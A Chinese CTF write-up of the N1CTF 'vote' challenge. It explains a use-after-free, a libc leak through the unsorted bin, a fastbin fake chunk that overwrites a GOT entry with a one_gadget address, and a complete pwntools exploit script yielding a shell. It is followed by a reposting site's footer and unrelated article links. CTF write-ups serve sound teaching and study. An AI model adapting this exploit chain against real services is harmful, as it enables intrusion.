N1CTF 塞题vote分析

 

  N1CTF 塞题vote分析:这个题是一个uaf的漏洞题,我们先看看漏洞(如下图),这两部分是很明显的对比的啊。当单独的一个count数组的数据和堆里的数据相同时候,就会释放堆,堆释放后的count还会有指针指向这块内存,释放后我们能够(通过vote)修改数据,典型的uaf。那么我们修改构造(fd)的数据时候,下次申请特定地址的内存的时候,就可以对特定内存进行修改的。

  

这里的sleep()函数,pthread_create每次调用,都会sleep3秒,所以用脚本vote和cancel的时候总是导致无法触发uaf,调试时候需要在脚本中用time.sleep(3)来完成。

    

 count数组的数值和堆里的fd数值保持一致。

  

 

   

 

我们先来看几个函数,虽然不一定是核心函数,但可以增长知识哈:

void *memset(void *s, int ch, size_t n);
函数解释:将s中当前位置后面的n个字节 (typedef unsigned int size_t )用 ch 替换并返回 s 。

memset:作用是在一段内存块中填充某个给定的值,它是对较大的结构体或数组进行清零操作的一种最快方法

 

解题过程:

结构体:

    {
        long int count  (malloc data)
        long int time    (malloc data+8)
        char name        (malloc data+16)        
    }

  

三个位置分别为count,time,name。

 

构造伪堆,主要构造size和fd的数据:

  

 

 具体利用过程:

  一、leak地址:

  通过申请0x80(+0x20的堆头)的堆,释放成unsortbins,成双向链表,fd和bk指向main_arena+88,在通过与libc的偏移计算出libc。

  

 

二、构造伪堆:

构造好了伪造的fd之后,如果直接用pthread的地址做伪堆的地址话,会由于size检查导致分配失败。 哦,对了申请了两次伪堆,第一次是为了填充到我们的got表的地址而申请的,方法是在堆的24字节之后伪造堆,第二次是直接向共同表写入数据。 

 

 

 

 

  

那么我们来找合适的size

 

 找到合适的size了(如下图),我们需要构造了伪堆的位置就是0x601ffa了。

 

 

成功修改了got的地址为我们的one_gadget的地址了,下面就是执行vote,触发one_gadget执行了。

 

 

利用思路总结

1.首先leak出libc的地址,通过unsorted bin泄露出其中fd(count)的数据,即是main_arena +88,然后通过偏移计算libc的地址。

2.通过修改fastbin的fd,构造伪堆,伪堆在got_pthread的附近,然后写入数据,修改got_pthread为one_gadget的地址。

3.通过vote函数,触发pthread函数,即执行了one_gadget的命令。

 

exp如下:

 

  1 #!/usr/bin/env python
  2 from pwn import*
  3 import time
  4 
  5 local =1
  6 debug = 1
  7 
  8 if local:
  9     p = process('./vote')
 10 
 11 else:
 12     p = remote("127.0.0.1",8080)
 13 
 14 #context.log_level = 'debug'
 15 
 16 def create(num,name):
 17     p.recvuntil("Action:")
 18     p.sendline("0")
 19     p.recvuntil("Please enter the name's size:")
 20     p.sendline(str(num))
 21     p.recvuntil("Please enter the name: ")
 22     p.sendline(name)
 23 
 24 def show(num):
 25     p.recvuntil("Action:")
 26     p.sendline("1")
 27     p.recvuntil("Please enter the index:")
 28     p.sendline(str(num))
 29 
 30 def vote(num):
 31     p.recvuntil("Action:")
 32     p.sendline("2")
 33     p.recvuntil("Please enter the index:")
 34     p.sendline(str(num))
 35 
 36 def cancel(num):
 37     p.recvuntil("Action:")
 38     p.sendline("4")
 39     p.recvuntil("Please enter the index:")
 40     p.sendline(str(num))
 41 def result():
 42     p.recvuntil("Action:")
 43     p.sendline("3")
 44 
 45 def add(num,i):
 46     for i in range(0,i):
 47         vote(str(num))
 48 
 49 #---------------leak addr----------------------------
 50 
 51 libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
 52 ppp = libc.symbols['write']
 53 print "write=",hex(ppp)
 54 
 55 #print "HHHHHHHHHHHHHHHHHHHHHHHHHHHHHH"
 56 #raw_input()
 57 
 58 
 59 create(0x80,"AAAA")
 60 create(0x80,"BBBB")
 61 cancel(0)
 62 
 63 #add(0,16)
 64 #vote(0)
 65 #time.sleep(4)
 66 show(0)
 67 
 68 p.recvuntil("count:")
 69 main_arena = p.recv(16)
 70 #main_arena = p.read(15)
 71 print"main_arena =",str(main_arena)
 72 
 73 libc_addr = int(main_arena)-0x3c4b78  
 74 one = libc_addr + 0x4526a
 75 
 76 print "libc_addr=",hex(libc_addr)
 77 print "one=",hex(one)
 78 
 79 
 80 
 81 #time.sleep(5)
 82 
 83 #---------------fake heap----------------------------
 84 #add(0,16)
 85 got_pthread = 0x601ffa #0x602020
 86 print "got_pthread:",hex(got_pthread)
 87 
 88 payload = p64(0x60)+p64(got_pthread) +p64(0xabcdef)
 89 
 90 create(0x40,payload)
 91 create(0x40,"DDDD")
 92 
 93 cancel(2)
 94 cancel(3)
 95 
 96 add(3,24)
 97 create(0x40,"FF")
 98 
 99 #---------------shellcode----------------------------
100 
101 #write = libc_addr +0x3da490
102 write = libc_addr +libc.symbols['write']
103 #strlen = libc_addr +0x8b720
104 strlen = libc_addr +libc.symbols['strlen']
105 shellcode =  "AAAAAA"+ p64(one) + p64(write) + p64(strlen)
106 #shellcode = "AAAAAA"
107 
108 create(0x40,"GG")
109 
110 create(0x40,shellcode)
111 
112 vote(0)
113 
114 
115 #gdb.attach(p)
116 p.interactive()

 

转载于:https://www.cnblogs.com/Yable/p/8824590.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/452029.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

网络爬虫--11.XPath和lxml

文章目录一. XML1. XML 和 HTML 的区别2. XML文档示例3. HTML DOM 模型示例4. XML的节点关系二. 什么是XPath?1. 选取节点2. 谓语(Predicates)3. 选取未知节点4. 选取若干路径5. XPath的运算符三. lxml库1. 初步使用2. 文件读取四. XPath实例…

软件测试不是一个功能

今天在工作中我对一个同事说,PyDev 2.5.0现在对TDD(测试驱动开发)提供了很酷的支持了。我并不是一个对TDD很痴迷的倡导者,对其它事物也一样,但仍不免激起了一场讨论。这个家伙,让我们暂叫他约翰&#xff0c…

Linux 操作系统基础知识

1.操作系统总体介绍 •CPU: 就像人的大脑,主要负责相关事情的判断以及实际处理的机制。查询指令: cat /proc/cpuinfo•内存: 大脑中的记忆区块,将皮肤、眼睛等所收集到的信息记录起来的地方,以供CPU进行判断…

Transaction 那点事儿,Spring事务管理

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 Transaction 也就是所谓的事务了,通俗理解就是一件事情。从小,父母就教育我们,做事情要有始有终&…

8.类定义、属性、初始化和析构

类定义 类 是一个独立存放变量(属性/方法)的空间 封装: 类可以把各种对象组织在一起,作为类的属性,通过 . (点)运算符来调用类中封装好的对象 属性: 变量在类中称为属性,但是类中的属性不仅仅只包含变量&#x…

网络爬虫--13.数据提取之JSON与JsonPATH

文章目录一. 前言二. JSON三. json.loads()四. json.dumps()五. json.dump()六. json.load()七. JsonPath八. JsonPath与XPath语法对比九. 案例分析一. 前言 JSON(JavaScript Object Notation) 是一种轻量级的数据交换格式,它使得人们很容易的进行阅读和编写。同时…

创建型模式二:工厂方法模式

1. 工厂模式介绍 工厂模式(Factory Pattern)的意义就跟它的名字一样,在面向对象程序设计中,工厂通常是一个用来创建其他对象的对象。工厂模式根据不同的参数来实现不同的分配方案和创建对象。 在工厂模式中,我们在创建…

spring 的4种事务管理(1种编程式+3种声明式)

见:http://blog.csdn.net/sinat_25926481/article/details/48208619 Spring的4种事务管理(1种编程式事务三种声明事务) 一、Spring事务的介绍 二、编程式事务xml的配置 注入后直接在service层调用模板的方法使用 三、基于AOP方式的声明式事务…

如何创造出更优秀的用户体验?

对于互联网公司来说,用户体验起到至关重要的作用,能否给用户留下深刻的印象;开发出的产品是否实用、易用?等等这些都是开发者必将思考的话题。当有用性一样的时候,大家的竞争重点就是易用性了,这就是互联网…

GitHub(从安装到使用)

一、安装Git for Windows(又名msysgit) 下载地址: https://git-for-windows.github.io/ 在官方下载完后,安装到Windows Explorer integration的时候,将选项中将“Git Bash here”和“Git GUI here”打对勾。 然后就一直next直到Fi…

Spring事务配置的五种方式和spring里面事务的传播属性和事务隔离级别、不可重复读与幻读的区别

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 spring事务配置的五种方式 前段时间对Spring的事务配置做了比较深入的研究,在此之间对Spring的事务配置虽说也配置过&#x…

Google编程之夏入围项目公布

Google编程之夏(Google Summer of Code),是由Google公司所主办的年度程式设计比赛,第一届从2005年开始。“Summer of Code”之名取自1967年的“夏日之爱”(Summer of Love)风潮。比赛的主要目的是鼓励学生参…

微软:软件帝王的复兴之路

可以说在过去的两个月IT界所发生的一切都非同寻常,乔布斯辞职了,Google把Motorola并购了,微软炫了一下Windows 8,还宣布开始用ARM了,Google开始和英特尔合作了,AT&T与T-Mobile的并购也在紧密锣鼓进行中…

Eclipse GBK批量转UTF-8插件(转)

最近需要把Android项目转Android Studio,由于之前是eclipse开发,而且坑爹的是编码还是GBK的,转到Android Studio中文都是乱码,如果一个文件一个文件ctrlc的话,想想就累,几经Google,发现一个很好…

网络爬虫--15.【糗事百科实战】多线程实现

文章目录一. Queue(队列对象)二. 多线程示意图三. 代码示例一. Queue(队列对象) Queue是python中的标准库,可以直接import Queue引用;队列是线程间最常用的交换数据的形式 python下多线程的思考 对于资源&#xff0…

网络爬虫--16.BeautifulSoup4

文章目录一. BeautifulSoup4二. 解析实例三. 四大对象种类1. Tag2. NavigableString3. BeautifulSoup4. Comment四. 遍历文档树1.直接子节点 :.contents .children 属性1). .contents2). .children2. 所有子孙节点: .descendants 属性3. 节点内容: .string 属性五. …

【LA3415 训练指南】保守的老师 【二分图最大独立集,最小割】

题意 Frank是一个思想有些保守的高中老师。有一次,他需要带一些学生出去旅行,但又怕其中一些学生在旅行中萌生爱意。为了降低这种事情发生的概率,他决定确保带出去的任意两个学生至少要满足下面四条中的一条。 1.身高相差大于40厘米 2.性别相…

行车记录仪稳定方案:TC358778XBG:RGB转MIPI DSI芯片,M-Star标配IC

原厂:Toshiba型号:TC358778XBG功能:TC358778XBG是一颗将RGB信号转换成MIPI DSI的芯片,最高分辨率支持到1920x1200,其应用图如下:产品特征:MIPI接口:(1)、支持…

java.sql.SQLException: 无法转换为内部表示之解决

前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到教程。 这个错是因为 数据库中字段类型和程序中该字段类型不一致。 比如程序将某字段当做Integer类型, 而数据库存储又使用另外一…

网络爬虫--17.【BeautifuSoup4实战】爬取腾讯社招

文章目录一.要求二.代码示例一.要求 以腾讯社招页面来做演示:http://hr.tencent.com/position.php?&start10#a 使用BeautifuSoup4解析器,将招聘网页上的职位名称、职位类别、招聘人数、工作地点、发布时间,以及每个职位详情的点击链接…